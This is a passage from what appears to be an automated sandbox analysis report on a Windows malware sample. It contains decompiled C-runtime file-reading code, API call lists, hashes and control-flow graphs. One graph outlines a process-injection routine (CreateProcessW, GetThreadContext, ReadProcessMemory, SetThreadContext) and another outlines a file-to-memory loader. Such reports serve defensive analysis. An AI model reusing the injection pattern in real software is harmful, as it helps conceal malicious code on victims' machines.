          							_t271 = GetLastError();
          							E00407B10(_t271);
          							 *( *((intOrPtr*)(0x418ec0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x418ec0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
          							CloseHandle(_t253);
          							__eflags = _t271;
          							if(_t271 == 0) {
          								 *((intOrPtr*)(E00407B6A())) = 0xd;
          							}
          							goto L2;
          						}
          						_t233 = _v48;
          						__eflags = (_t233 & 0xc0000000) - 0xc0000000;
          						if((_t233 & 0xc0000000) != 0xc0000000) {
          							L9:
          							_t234 =  *_t189;
          							_t236 = (_t234 & 0x0000003f) * 0x38;
          							_t178 =  *((intOrPtr*)(0x418ec0 + (_t234 >> 6) * 4));
          							_t33 = _t178 + _t236 + 0x28;
          							 *_t33 =  *(_t178 + _t236 + 0x28) & 0x000000fe;
          							__eflags =  *_t33;
          							E00407B10(GetLastError());
          							goto L10;
          						}
          						__eflags = _a16 & 0x00000001;
          						if((_a16 & 0x00000001) == 0) {
          							goto L9;
          						}
          						_t285 = _t278 - 0x18;
          						_v48 = _t233 & 0x7fffffff;
          						_t238 = 6;
          						_push( &_v28);
          						_push(_a12);
          						memcpy(_t285,  &_v52, _t238 << 2);
          						_t196 = 0;
          						_t253 = E0040C070();
          						_t278 = _t285 + 0x2c;
          						_v12 = _t253;
          						__eflags = _t253 - 0xffffffff;
          						if(_t253 != 0xffffffff) {
          							goto L11;
          						}
          						goto L9;
          					} else {
          						 *(E00407B57()) =  *_t184 & 0x00000000;
          						 *_t189 = _t264;
          						 *((intOrPtr*)(E00407B6A())) = 0x18;
          						goto L2;
          					}
          				} else {
          					 *(E00407B57()) =  *_t186 & 0x00000000;
          					 *_a8 = _t264;
          					L2:
          					return  *((intOrPtr*)(E00407B6A()));
          				}
          			}
























































          0x0040c3da
          0x0040c3de
          0x0040c3df
          0x0040c3df
          0x0040c3df
          0x0040c3e1
          0x0040c3e7
          0x0040c402
          0x0040c407
          0x0040c40a
          0x0040c40c
          0x0040c40e
          0x0040c42d
          0x0040c434
          0x0040c43b
          0x0040c43e
          0x0040c44a
          0x0040c44d
          0x0040c455
          0x0040c456
          0x0040c459
          0x0040c459
          0x0040c45b
          0x0040c460
          0x0040c462
          0x0040c465
          0x0040c46d
          0x0040c470
          0x0040c4dd
          0x0040c4de
          0x0040c4e4
          0x0040c4e6
          0x0040c52f
          0x0040c532
          0x0040c53b
          0x0040c53e
          0x0040c541
          0x0040c543
          0x0040c543
          0x0040c543
          0x0040c534
          0x0040c537
          0x0040c537
          0x0040c548
          0x0040c54b
          0x0040c557
          0x0040c55c
          0x0040c568
          0x0040c572
          0x0040c576
          0x0040c580
          0x0040c583
          0x0040c58e
          0x0040c593
          0x0040c5b2
          0x0040c5b5
          0x0040c5b9
          0x0040c5ba
          0x0040c5c0
          0x0040c5c5
          0x0040c5c8
          0x0040c5ca
          0x0040c5cc
          0x0040c5d1
          0x0040c5d3
          0x0040c5d5
          0x0040c5d8
          0x0040c5da
          0x0040c5f4
          0x0040c618
          0x0040c61c
          0x0040c620
          0x0040c622
          0x0040c626
          0x0040c628
          0x0040c632
          0x0040c635
          0x0040c63c
          0x0040c63c
          0x0040c63c
          0x0040c63c
          0x0040c626
          0x0040c641
          0x0040c64d
          0x0040c64f
          0x0040c6da
          0x0040c6da
          0x00000000
          0x0040c655
          0x0040c655
          0x0040c659
          0x00000000
          0x00000000
          0x0040c65e
          0x0040c670
          0x0040c678
          0x0040c67b
          0x0040c67c
          0x0040c67f
          0x0040c686
          0x0040c68b
          0x0040c68e
          0x0040c6c2
          0x0040c6cc
          0x0040c6cc
          0x0040c6d6
          0x00000000
          0x0040c6d6
          0x0040c697
          0x0040c6b0
          0x0040c6b7
          0x0040c4d7
          0x00000000
          0x0040c4d7
          0x0040c64f
          0x0040c5dc
          0x00000000
          0x0040c595
          0x0040c59c
          0x0040c59f
          0x0040c5a1
          0x00000000
          0x00000000
          0x0040c5a3
          0x0040c5a5
          0x0040c5a5
          0x00000000
          0x0040c5ab
          0x0040c593
          0x0040c4ee
          0x0040c4f1
          0x0040c50c
          0x0040c511
          0x0040c517
          0x0040c519
          0x0040c524
          0x0040c524
          0x00000000
          0x0040c519
          0x0040c472
          0x0040c479
          0x0040c47b
          0x0040c4b2
          0x0040c4b2
          0x0040c4bc
          0x0040c4bf
          0x0040c4c6
          0x0040c4c6
          0x0040c4c6
          0x0040c4d2
          0x00000000
          0x0040c4d2
          0x0040c47d
          0x0040c481
          0x00000000
          0x00000000
          0x0040c483
          0x0040c492
          0x0040c497
          0x0040c49a
          0x0040c49b
          0x0040c49e
          0x0040c49e
          0x0040c4a5
          0x0040c4a7
          0x0040c4aa
          0x0040c4ad
          0x0040c4b0
          0x00000000
          0x00000000
          0x00000000
          0x0040c410
          0x0040c415
          0x0040c418
          0x0040c41f
          0x00000000
          0x0040c41f
          0x0040c3e9
          0x0040c3ee
          0x0040c3f4
          0x0040c3f6
          0x00000000
          0x0040c3fb

          APIs
            • Part of subcall function 0040C070: CreateFileW.KERNELBASE(?,00000000,?,0040C460,?,?,00000000,?,0040C460,?,0000000C), ref: 0040C08D
          • GetLastError.KERNEL32 ref: 0040C4CB
          • __dosmaperr.LIBCMT ref: 0040C4D2
          • GetFileType.KERNELBASE(00000000), ref: 0040C4DE
          • GetLastError.KERNEL32 ref: 0040C4E8
          • __dosmaperr.LIBCMT ref: 0040C4F1
          • CloseHandle.KERNEL32(00000000), ref: 0040C511
          • CloseHandle.KERNEL32(00407F4C), ref: 0040C65E
          • GetLastError.KERNEL32 ref: 0040C690
          • __dosmaperr.LIBCMT ref: 0040C697
          Strings
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
          • String ID: H
          • API String ID: 4237864984-2852464175
          • Opcode ID: 02834435bf5dd621a605c359c7cb1ccf834e235c87be511bd0bf7476f94e693c
          • Instruction ID: 74d71066eb577f9082b26780235b5dbbe16e0fe86ef76fded194978a4361ce27
          • Opcode Fuzzy Hash: 02834435bf5dd621a605c359c7cb1ccf834e235c87be511bd0bf7476f94e693c
          • Instruction Fuzzy Hash: FEA11532E141549FCF199F68DC91BAE3BA1AB06314F14426EF811BB3D1CB399852CB59
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 69 9f0d6d-9f0e3d call 9f005f call 9f0073 * 7 call 9f0109 CreateFileW 88 9f0f1c 69->88 89 9f0e43-9f0e4e 69->89 90 9f0f1e-9f0f23 88->90 89->88 94 9f0e54-9f0e64 VirtualAlloc 89->94 91 9f0f29-9f0f2e 90->91 92 9f0f25 90->92 97 9f0f4a-9f0f4d 91->97 92->91 94->88 96 9f0e6a-9f0e79 ReadFile 94->96 96->88 98 9f0e7f-9f0e9e VirtualAlloc 96->98 101 9f0f4f-9f0f54 97->101 102 9f0f30-9f0f34 97->102 99 9f0f18-9f0f1a 98->99 100 9f0ea0-9f0eb3 call 9f00da 98->100 99->90 111 9f0eee-9f0efe call 9f0073 100->111 112 9f0eb5-9f0ec0 100->112 106 9f0f56-9f0f5e VirtualFree 101->106 107 9f0f61-9f0f69 101->107 104 9f0f36-9f0f3e 102->104 105 9f0f40-9f0f42 102->105 104->97 109 9f0f49 105->109 110 9f0f44-9f0f47 105->110 106->107 109->97 110->97 111->90 118 9f0f00-9f0f05 111->118 113 9f0ec3-9f0eec call 9f00da 112->113 113->111 119 9f0f0b-9f0f16 VirtualFree 118->119 120 9f0f07-9f0f08 FindCloseChangeNotification 118->120 119->97 120->119
          APIs
          • CreateFileW.KERNELBASE(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,?,?,?,?,009F1603,7FAB7E30), ref: 009F0E33
          • VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,?,?,?,?,?,009F1603,7FAB7E30,009F12C1,00000000,00000040), ref: 009F0E5D
          • ReadFile.KERNELBASE(00000000,00000000,0000000E,7FAB7E30,00000000,?,?,?,?,?,?,?,009F1603,7FAB7E30,009F12C1,00000000), ref: 009F0E74
          • VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,?,?,?,?,?,009F1603,7FAB7E30,009F12C1,00000000,00000040), ref: 009F0E96
          • FindCloseChangeNotification.KERNELBASE(00000000,?,?,?,?,?,?,?,009F1603,7FAB7E30,009F12C1,00000000,00000040,?,00000000,0000000E), ref: 009F0F08
          • VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,009F1603,7FAB7E30,009F12C1,00000000,00000040,?), ref: 009F0F13
          • VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,009F1603,7FAB7E30,009F12C1,00000000,00000040,?), ref: 009F0F5E
          Memory Dump Source
          • Source File: 00000001.00000002.254422832.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_9f0000_rtvzitvzef.jbxd
          Similarity
          • API ID: Virtual$AllocFileFree$ChangeCloseCreateFindNotificationRead
          • String ID:
          • API String ID: 656311269-0
          • Opcode ID: 20a94eca61528b52c85a958613599458c86211acb87f6403549c372b48bae443
          • Instruction ID: b95f37b3705c512f94b56bb53957efcb9ebee5b1eb3e5c13e0cb072b1d6d548f
          • Opcode Fuzzy Hash: 20a94eca61528b52c85a958613599458c86211acb87f6403549c372b48bae443
          • Instruction Fuzzy Hash: 12519D71E0020DAADB209FB5CC84BBEBBBCAF88710F244555FA15F7282DB749901CB64
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 121 407550-407560 122 407562-407575 call 407b57 call 407b6a 121->122 123 40757a-40757c 121->123 139 4078d4 122->139 125 407582-407588 123->125 126 4078bc-4078c9 call 407b57 call 407b6a 123->126 125->126 129 40758e-4075b7 125->129 144 4078cf call 406567 126->144 129->126 132 4075bd-4075c6 129->132 135 4075e0-4075e2 132->135 136 4075c8-4075db call 407b57 call 407b6a 132->136 137 4078b8-4078ba 135->137 138 4075e8-4075ec 135->138 136->144 143 4078d7-4078da 137->143 138->137 142 4075f2-4075f6 138->142 139->143 142->136 147 4075f8-40760f 142->147 144->139 150 407611-407614 147->150 151 407644-40764a 147->151 154 407616-40761c 150->154 155 40763a-407642 150->155 152 40764c-407653 151->152 153 40761e-407635 call 407b57 call 407b6a call 406567 151->153 157 407655 152->157 158 407657-407675 call 40a6a3 call 408694 * 2 152->158 187 4077ef 153->187 154->153 154->155 156 4076b7-4076d6 155->156 160 407792-40779b call 40bb62 156->160 161 4076dc-4076e8 156->161 157->158 191 407692-4076b5 call 4068d4 158->191 192 407677-40768d call 407b6a call 407b57 158->192 175 40780c 160->175 176 40779d-4077af 160->176 161->160 164 4076ee-4076f0 161->164 164->160 168 4076f6-407717 164->168 168->160 172 407719-40772f 168->172 172->160 178 407731-407733 172->178 180 407810-407826 ReadFile 175->180 176->175 177 4077b1-4077c0 GetConsoleMode 176->177 177->175 182 4077c2-4077c6 177->182 178->160 183 407735-407758 178->183 185 407884-40788f GetLastError 180->185 186 407828-40782e 180->186 182->180 188 4077c8-4077e0 ReadConsoleW 182->188 183->160 190 40775a-407770 183->190 193 407891-4078a3 call 407b6a call 407b57 185->193 194 4078a8-4078ab 185->194 186->185 195 407830 186->195 189 4077f2-4077fc call 408694 187->189 198 407801-40780a 188->198 199 4077e2 GetLastError 188->199 189->143 190->160 203 407772-407774 190->203 191->156 192->187 193->187 200 4078b1-4078b3 194->200 201 4077e8-4077ee call 407b10 194->201 197 407833-407845 195->197 197->189 208 407847-40784b 197->208 198->197 199->201 200->189 201->187 203->160 211 407776-40778d 203->211 214 407864-407871 208->214 215 40784d-40785d call 407262 208->215 211->160 220 407873 call 4073b9 214->220 221 40787d-407882 call 4070a8 214->221 226 407860-407862 215->226 227 407878-40787b 220->227 221->227 226->189 227->226
          C-Code - Quality: 78%
          			E00407550(signed int _a4, void* _a8, unsigned int _a12) {
          				signed int _v5;
          				signed int _v12;
          				void* _v16;
          				signed int _v20;
          				void* _v24;
          				long _v28;
          				char _v32;
          				void* _v36;
          				long _v40;
          				signed int* _t127;
          				signed int _t129;
          				signed int _t130;
          				intOrPtr _t133;
          				signed int _t136;
          				signed int _t138;
          				signed char _t140;
          				intOrPtr _t148;
          				long _t150;
          				signed int _t151;
          				signed int _t152;
          				signed int _t154;
          				long _t155;
          				intOrPtr _t160;
          				signed int _t161;
          				intOrPtr _t163;
          				signed int _t165;
          				signed int _t167;
          				char _t169;
          				char _t174;
          				char _t179;
          				signed char _t186;
          				long _t192;
          				signed int _t196;
          				signed char _t197;
          				signed int _t198;
          				long _t200;
          				intOrPtr _t202;
          				void* _t203;
          				unsigned int _t206;
          				signed int _t208;
          				char* _t210;
          				char* _t211;
          				char* _t212;
          				signed int _t215;
          				long _t216;
          				signed int _t217;
          				signed int _t218;
          				signed int _t225;
          				signed int _t226;
          				void* _t230;
          				void* _t232;
          				void* _t233;
          				void* _t234;
          
          				_t215 = _a4;
          				_t233 = _t232 - 0x24;
          				if(_t215 != 0xfffffffe) {
          					__eflags = _t215;
          					if(_t215 < 0) {
          						L58:
          						_t127 = E00407B57();
          						 *_t127 =  *_t127 & 0x00000000;
          						__eflags =  *_t127;
          						 *((intOrPtr*)(E00407B6A())) = 9;
          						L59:
          						_t129 = E00406567();
          						goto L60;
          					}
          					__eflags = _t215 -  *0x4190c0; // 0x40
          					if(__eflags >= 0) {
          						goto L58;
          					}
          					_t196 = _t215 >> 6;
          					_t225 = (_t215 & 0x0000003f) * 0x38;
          					_v12 = _t196;
          					_v32 = 1;
          					_t133 =  *((intOrPtr*)(0x418ec0 + _t196 * 4));
          					_v20 = _t225;
          					_t197 =  *((intOrPtr*)(_t225 + _t133 + 0x28));
          					_v5 = _t197;
          					__eflags = 1 & _t197;
          					if((1 & _t197) == 0) {
          						goto L58;
          					}
          					_t198 = _a12;
          					__eflags = _t198 - 0x7fffffff;
          					if(_t198 <= 0x7fffffff) {
          						__eflags = _t198;
          						if(_t198 == 0) {
          							L57:
          							_t130 = 0;
          							goto L61;
          						}
          						__eflags = _v5 & 0x00000002;
          						if((_v5 & 0x00000002) != 0) {
          							goto L57;
          						}
          						__eflags = _a8;
          						if(_a8 == 0) {
          							goto L6;
          						}
          						_t136 =  *((intOrPtr*)(_t225 + _t133 + 0x29));
          						_v5 = _t136;
          						_v24 =  *((intOrPtr*)(_t225 + _t133 + 0x18));
          						_t230 = 0;
          						_t138 = _t136 - 1;
          						__eflags = _t138;
          						if(_t138 == 0) {
          							_t140 =  !_t198;
          							__eflags = 1 & _t140;
          							if((1 & _t140) == 0) {
          								L13:
          								 *(E00407B57()) =  *_t141 & _t230;
          								 *((intOrPtr*)(E00407B6A())) = 0x16;
          								E00406567();
          								goto L38;
          							} else {
          								_t200 = _t198 >> 1;
          								_t192 = 4;
          								__eflags = _t200 - 1;
          								if(_t200 >= 1) {
          									_t192 = _t200;
          								}
          								_t230 = E0040A6A3(_t192);
          								E00408694(0);
          								E00408694(0);
          								_t234 = _t233 + 0xc;
          								_v16 = _t230;
          								__eflags = _t230;
          								if(_t230 != 0) {
          									_t148 = E004068D4(_t215, _a4, 0, 0, 1);
          									_t233 = _t234 + 0x10;
          									_t202 =  *((intOrPtr*)(0x418ec0 + _v12 * 4));
          									 *((intOrPtr*)(_t225 + _t202 + 0x20)) = _t148;
          									 *(_t225 + _t202 + 0x24) = _t215;
          									_t203 = _t230;
          									L21:
          									_t225 = 0;
          									_v36 = _t203;
          									_t150 =  *((intOrPtr*)(0x418ec0 + _v12 * 4));
          									_v28 = _t150;
          									_t216 = _t150;
          									_t151 = _v20;
          									__eflags =  *(_t151 + _t216 + 0x28) & 0x00000048;
          									_t217 = _a4;
          									if(( *(_t151 + _t216 + 0x28) & 0x00000048) != 0) {
          										_t169 =  *((intOrPtr*)(_t151 + _v28 + 0x2a));
          										_t210 = _v16;
          										__eflags = _t169 - 0xa;
          										if(_t169 != 0xa) {
          											__eflags = _t192;
          											if(_t192 != 0) {
          												_t225 = 1;
          												 *_t210 = _t169;
          												_t211 = _t210 + 1;
          												_t192 = _t192 - 1;
          												__eflags = _v5;
          												_v16 = _t211;
          												 *((char*)(_v20 +  *((intOrPtr*)(0x418ec0 + _v12 * 4)) + 0x2a)) = 0xa;
          												_t217 = _a4;
          												if(_v5 != 0) {
          													_t174 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x418ec0 + _v12 * 4)) + 0x2b));
          													_t217 = _a4;
          													__eflags = _t174 - 0xa;
          													if(_t174 != 0xa) {
          														__eflags = _t192;
          														if(_t192 != 0) {
          															 *_t211 = _t174;
          															_t212 = _t211 + 1;
          															_t192 = _t192 - 1;
          															__eflags = _v5 - 1;
          															_v16 = _t212;
          															_t225 = 2;
          															 *((char*)(_v20 +  *((intOrPtr*)(0x418ec0 + _v12 * 4)) + 0x2b)) = 0xa;
          															_t217 = _a4;
          															if(_v5 == 1) {
          																_t179 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x418ec0 + _v12 * 4)) + 0x2c));
          																_t217 = _a4;
          																__eflags = _t179 - 0xa;
          																if(_t179 != 0xa) {
          																	__eflags = _t192;
          																	if(_t192 != 0) {
          																		 *_t212 = _t179;
          																		_t192 = _t192 - 1;
          																		__eflags = _t192;
          																		_v16 = _t212 + 1;
          																		_t225 = 3;
          																		 *((char*)(_v20 +  *((intOrPtr*)(0x418ec0 + _v12 * 4)) + 0x2c)) = 0xa;
          																	}
          																}
          															}
          														}
          													}
          												}
          											}
          										}
          									}
          									_t152 = E0040BB62(_t217);
          									__eflags = _t152;
          									if(_t152 == 0) {
          										L41:
          										_v32 = 0;
          										L42:
          										_t193 = _v16;
          										_t154 = ReadFile(_v24, _v16, _t192,  &_v28, 0); // executed
          										__eflags = _t154;
          										if(_t154 == 0) {
          											L53:
          											_t155 = GetLastError();
          											_t225 = 5;
          											__eflags = _t155 - _t225;
          											if(_t155 != _t225) {
          												__eflags = _t155 - 0x6d;
          												if(_t155 != 0x6d) {
          													L37:
          													E00407B10(_t155);
          													goto L38;
          												}
          												_t226 = 0;
          												goto L39;
          											}
          											 *((intOrPtr*)(E00407B6A())) = 9;
          											 *(E00407B57()) = _t225;
          											goto L38;
          										}
          										_t206 = _a12;
          										__eflags = _v28 - _t206;
          										if(_v28 > _t206) {
          											goto L53;
          										}
          										_t226 = _t225 + _v28;
          										__eflags = _t226;
          										L45:
          										_t218 = _v20;
          										_t160 =  *((intOrPtr*)(0x418ec0 + _v12 * 4));
          										__eflags =  *((char*)(_t218 + _t160 + 0x28));
          										if( *((char*)(_t218 + _t160 + 0x28)) < 0) {
          											__eflags = _v5 - 2;
          											if(_v5 == 2) {
          												__eflags = _v32;
          												_push(_t226 >> 1);
          												_push(_v36);
          												_push(_a4);
          												if(_v32 == 0) {
          													_t161 = E004070A8();
          												} else {
          													_t161 = E004073B9(_t206);
          												}
          											} else {
          												_t207 = _t206 >> 1;
          												__eflags = _t206 >> 1;
          												_t161 = E00407262(_t206 >> 1, _t206 >> 1, _a4, _t193, _t226, _a8, _t207);
          											}
          											_t226 = _t161;
          										}
          										goto L39;
          									}
          									_t208 = _v20;
          									_t163 =  *((intOrPtr*)(0x418ec0 + _v12 * 4));
          									__eflags =  *((char*)(_t208 + _t163 + 0x28));
          									if( *((char*)(_t208 + _t163 + 0x28)) >= 0) {
          										goto L41;
          									}
          									_t165 = GetConsoleMode(_v24,  &_v40);
          									__eflags = _t165;
          									if(_t165 == 0) {
          										goto L41;
          									}
          									__eflags = _v5 - 2;
          									if(_v5 != 2) {
          										goto L42;
          									}
          									_t193 = _v16;
          									_t167 = ReadConsoleW(_v24, _v16, _t192 >> 1,  &_v28, 0);
          									__eflags = _t167;
          									if(_t167 != 0) {
          										_t206 = _a12;
          										_t226 = _t225 + _v28 * 2;
          										goto L45;
          									}
          									_t155 = GetLastError();
          									goto L37;
          								} else {
          									 *((intOrPtr*)(E00407B6A())) = 0xc;
          									 *(E00407B57()) = 8;
          									L38:
          									_t226 = _t225 | 0xffffffff;
          									__eflags = _t226;
          									L39:
          									E00408694(_t230);
          									_t130 = _t226;
          									goto L61;
          								}
          							}
          						}
          						__eflags = _t138 != 1;
          						if(_t138 != 1) {
          							L14:
          							_t192 = _t198;
          							_t203 = _a8;
          							_v16 = _t203;
          							goto L21;
          						}
          						_t186 =  !_t198;
          						__eflags = 1 & _t186;
          						if((1 & _t186) != 0) {
          							goto L14;
          						}
          						goto L13;
          					}
          					L6:
          					 *(E00407B57()) =  *_t134 & 0x00000000;
          					 *((intOrPtr*)(E00407B6A())) = 0x16;
          					goto L59;
          				} else {
          					 *(E00407B57()) =  *_t187 & 0x00000000;
          					_t129 = E00407B6A();
          					 *_t129 = 9;
          					L60:
          					_t130 = _t129 | 0xffffffff;
          					L61:
          					return _t130;
          				}
          			}
























































          0x00407555
          0x00407558
          0x00407560
          0x0040757a
          0x0040757c
          0x004078bc
          0x004078bc
          0x004078c1
          0x004078c1
          0x004078c9
          0x004078cf
          0x004078cf
          0x00000000
          0x004078cf
          0x00407582
          0x00407588
          0x00000000
          0x00000000
          0x00407592
          0x00407598
          0x0040759d
          0x004075a1
          0x004075a4
          0x004075ab
          0x004075ae
          0x004075b2
          0x004075b5
          0x004075b7
          0x00000000
          0x00000000
          0x004075bd
          0x004075c0
          0x004075c6
          0x004075e0
          0x004075e2
          0x004078b8
          0x004078b8
          0x00000000
          0x004078b8
          0x004075e8
          0x004075ec
          0x00000000
          0x00000000
          0x004075f2
          0x004075f6
          0x00000000
          0x00000000
          0x004075fd
          0x00407601
          0x00407604
          0x00407607
          0x0040760c
          0x0040760c
          0x0040760f
          0x00407646
          0x00407648
          0x0040764a
          0x0040761e
          0x00407623
          0x0040762a
          0x00407630
          0x00000000
          0x0040764c
          0x0040764e
          0x00407650
          0x00407651
          0x00407653
          0x00407655
          0x00407655
          0x0040765f
          0x00407661
          0x00407668
          0x0040766d
          0x00407670
          0x00407673
          0x00407675
          0x0040769b
          0x004076a3
          0x004076a6
          0x004076ad
          0x004076b1
          0x004076b5
          0x004076b7
          0x004076ba
          0x004076bc
          0x004076bf
          0x004076c6
          0x004076c9
          0x004076cb
          0x004076ce
          0x004076d3
          0x004076d6
          0x004076df
          0x004076e3
          0x004076e6
          0x004076e8
          0x004076ee
          0x004076f0
          0x004076f9
          0x004076fa
          0x004076fc
          0x00407700
          0x00407701
          0x00407705
          0x0040770f
          0x00407714
          0x00407717
          0x00407726
          0x0040772a
          0x0040772d
          0x0040772f
          0x00407731
          0x00407733
          0x00407738
          0x0040773a
          0x0040773e
          0x0040773f
          0x00407745
          0x0040774f
          0x00407750
          0x00407755
          0x00407758
          0x00407767
          0x0040776b
          0x0040776e
          0x00407770
          0x00407772
          0x00407774
          0x00407776
          0x0040777c
          0x0040777c
          0x0040777d
          0x0040778c
          0x0040778d
          0x0040778d
          0x00407774
          0x00407770
          0x00407758
          0x00407733
          0x0040772f
          0x00407717
          0x004076f0
          0x004076e8
          0x00407793
          0x00407799
          0x0040779b
          0x0040780c
          0x0040780c
          0x00407810
          0x00407817
          0x0040781e
          0x00407824
          0x00407826
          0x00407884
          0x00407884
          0x0040788c
          0x0040788d
          0x0040788f
          0x004078a8
          0x004078ab
          0x004077e8
          0x004077e9
          0x00000000
          0x004077ee
          0x004078b1
          0x00000000
          0x004078b1
          0x00407896
          0x004078a1
          0x00000000
          0x004078a1
          0x00407828
          0x0040782b
          0x0040782e
          0x00000000
          0x00000000
          0x00407830
          0x00407830
          0x00407833
          0x00407836
          0x00407839
          0x00407840
          0x00407845
          0x00407847
          0x0040784b
          0x00407866
          0x0040786a
          0x0040786b
          0x0040786e
          0x00407871
          0x0040787d
          0x00407873
          0x00407873
          0x00407873
          0x0040784d
          0x0040784d
          0x0040784d
          0x00407858
          0x0040785d
          0x00407860
          0x00407860
          0x00000000
          0x00407845
          0x004077a0
          0x004077a3
          0x004077aa
          0x004077af
          0x00000000
          0x00000000
          0x004077b8
          0x004077be
          0x004077c0
          0x00000000
          0x00000000
          0x004077c2
          0x004077c6
          0x00000000
          0x00000000
          0x004077d1
          0x004077d8
          0x004077de
          0x004077e0
          0x00407804
          0x00407807
          0x00000000
          0x00407807
          0x004077e2
          0x00000000
          0x00407677
          0x0040767c
          0x00407687
          0x004077ef
          0x004077ef
          0x004077ef
          0x004077f2
          0x004077f3
          0x004077f9
          0x00000000
          0x004077fb
          0x00407675
          0x0040764a
          0x00407611
          0x00407614
          0x0040763a
          0x0040763a
          0x0040763c
          0x0040763f
          0x00000000
          0x0040763f
          0x00407618
          0x0040761a
          0x0040761c
          0x00000000
          0x00000000
          0x00000000
          0x0040761c
          0x004075c8
          0x004075cd
          0x004075d5
          0x00000000
          0x00407562
          0x00407567
          0x0040756a
          0x0040756f
          0x004078d4
          0x004078d4
          0x004078d7
          0x004078da
          0x004078da

          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 914d88a9dc23a28d54640f7483cad62583e78d6f0f5440e0da4bd7054705a808
          • Instruction ID: 4cb50bf577c926ab878105439c0c79d212d035fb132a4d6a04cd545261c119c9
          • Opcode Fuzzy Hash: 914d88a9dc23a28d54640f7483cad62583e78d6f0f5440e0da4bd7054705a808
          • Instruction Fuzzy Hash: C5B1D471E08245ABDB01EF69C844BAE7BB1BF45318F14817AE501B73D2C778B941CB6A
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 229 9f020a-9f0225 call 9f005f 232 9f0228-9f022c 229->232 233 9f022e-9f0242 232->233 234 9f0244-9f0251 232->234 233->232 235 9f0254-9f0258 234->235 236 9f025a-9f026e 235->236 237 9f0270-9f027d 235->237 236->235 238 9f0280-9f0284 237->238 239 9f029c-9f037a call 9f0073 * 8 238->239 240 9f0286-9f029a 238->240 257 9f037c-9f0386 239->257 258 9f0391 239->258 240->238 257->258 259 9f0388-9f038f 257->259 260 9f0395-9f03b1 258->260 259->260 262 9f03ba 260->262 263 9f03b3-9f03b5 260->263 265 9f03c1-9f03e9 CreateProcessW 262->265 264 9f0734-9f0737 263->264 266 9f03eb 265->266 267 9f03f0-9f0409 GetThreadContext 265->267 268 9f06e8-9f06ec 266->268 269 9f040b 267->269 270 9f0410-9f042d ReadProcessMemory 267->270 271 9f06ee-9f06f2 268->271 272 9f0731-9f0733 268->272 269->268 273 9f042f 270->273 274 9f0434-9f043d 270->274 275 9f0705-9f0709 271->275 276 9f06f4-9f06ff 271->276 272->264 273->268 277 9f043f-9f044e 274->277 278 9f0464-9f0483 call 9f11b3 274->278 280 9f070b 275->280 281 9f0711-9f0715 275->281 276->275 277->278 282 9f0450-9f0456 call 9f111e 277->282 289 9f048a-9f04ab call 9f12cd 278->289 290 9f0485 278->290 280->281 286 9f071d-9f0721 281->286 287 9f0717 281->287 288 9f045b-9f045d 282->288 291 9f072d-9f072f 286->291 292 9f0723-9f0728 call 9f111e 286->292 287->286 288->278 293 9f045f 288->293 297 9f04ad-9f04b4 289->297 298 9f04f0-9f0510 call 9f12cd 289->298 290->268 291->264 292->291 293->268 300 9f04eb 297->300 301 9f04b6-9f04e2 call 9f12cd 297->301 304 9f0517-9f052c call 9f00da 298->304 305 9f0512 298->305 300->268 308 9f04e9 301->308 309 9f04e4 301->309 311 9f0535-9f053f 304->311 305->268 308->298 309->268 312 9f0571-9f0575 311->312 313 9f0541-9f056f call 9f00da 311->313 315 9f057b-9f0589 312->315 316 9f0655-9f0671 call 9f0f6c 312->316 313->311 315->316 319 9f058f-9f059d 315->319 324 9f0675-9f0696 SetThreadContext 316->324 325 9f0673 316->325 319->316 320 9f05a3-9f05c3 319->320 323 9f05c6-9f05ca 320->323 323->316 326 9f05d0-9f05e5 323->326 327 9f069a-9f06a4 call 9f106d 324->327 328 9f0698 324->328 325->268 330 9f05f7-9f05fb 326->330 334 9f06a8-9f06ac 327->334 335 9f06a6 327->335 328->268 332 9f05fd-9f0609 330->332 333 9f0638-9f0650 330->333 336 9f060b-9f0634 332->336 337 9f0636 332->337 333->323 338 9f06ae 334->338 339 9f06b4-9f06b8 334->339 335->268 336->337 337->330 338->339 341 9f06ba 339->341 342 9f06c0-9f06c4 339->342 341->342 343 9f06cc-9f06d0 342->343 344 9f06c6 342->344 345 9f06dc-9f06e2 343->345 346 9f06d2-9f06d7 call 9f111e 343->346 344->343 345->265 345->268 346->345
          Strings
